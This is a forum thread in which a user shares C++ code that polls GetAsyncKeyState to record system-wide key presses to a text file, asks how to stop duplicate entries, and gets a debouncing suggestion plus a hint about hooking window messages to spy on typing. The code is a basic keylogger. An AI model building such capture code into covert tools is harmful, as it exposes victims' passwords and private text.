-
Keypress reading
I wrote this simple code to catch users key presses and write them to a text file.
Code:
..........
..........
void main()
{
ofstream ofile;
ofile.open("keys.txt");
int keyConst=65;
//reg();
while(true){
keyConst++;
if(keyConst==91) keyConst=65;
if(GetAsyncKeyState(keyConst)){
switch(keyConst){
case 65: ofile.put('a'); break;
case 66: ofile.put('b'); break;
case 67: ofile.put('c'); break;
case 68: ofile.put('d'); break;
case 69: ofile.put('e'); break;
case 70: ofile.put('f'); break;
case 71: ofile.put('g'); break;
case 72: ofile.put('h'); break;
case 73: ofile.put('i'); break;
case 74: ofile.put('j'); break;
case 75: ofile.put('k'); break;
case 76: ofile.put('l'); break;
case 77: ofile.put('m'); break;
case 78: ofile.put('n'); break;
case 79: ofile.put('o'); break;
case 80: ofile.put('p'); break;
case 81: ofile.put('q'); break;
case 82: ofile.put('r'); break;
case 83: ofile.put('s'); break;
case 84: ofile.put('t'); break;
case 85: ofile.put('u'); break;
case 86: ofile.put('v'); break;
case 87: ofile.put('w'); break;
case 88: ofile.put('x'); break;
case 89: ofile.put('y'); break;
case 90: ofile.put('z'); break;
case 48: ofile.put('0'); break;
case 49: ofile.put('1'); break;
case 50: ofile.put('2'); break;
case 51: ofile.put('3'); break;
case 52: ofile.put('4'); break;
case 53: ofile.put('5'); break;
case 54: ofile.put('6'); break;
case 55: ofile.put('7'); break;
case 56: ofile.put('8'); break;
case 57: ofile.put('9'); break;
}
}
}
}
The problem is that, when I execute this program and press a key, it gets printed on the file more than once (hundreds of times). How can I prevent this from happening?
Thanks for reading.
-
i think there's a flag that gets set with the async function....but i can't remember how it works (anyone else care to elaborate?)
otherwise, you could have an array of bools that would work like so:
in pseudocode:
Code:
if key is pressed and keyarray[key's id]==false
keyarray[key's id]=true
do outputting stuff
if key isn't pressed
keyarray[key's id]=false
however that will make it so you can't do repeating, only tapping of keys. But to do repeating you'd have to hook in to the current window and spy on the messages being sent when the user types.....
-hope that helps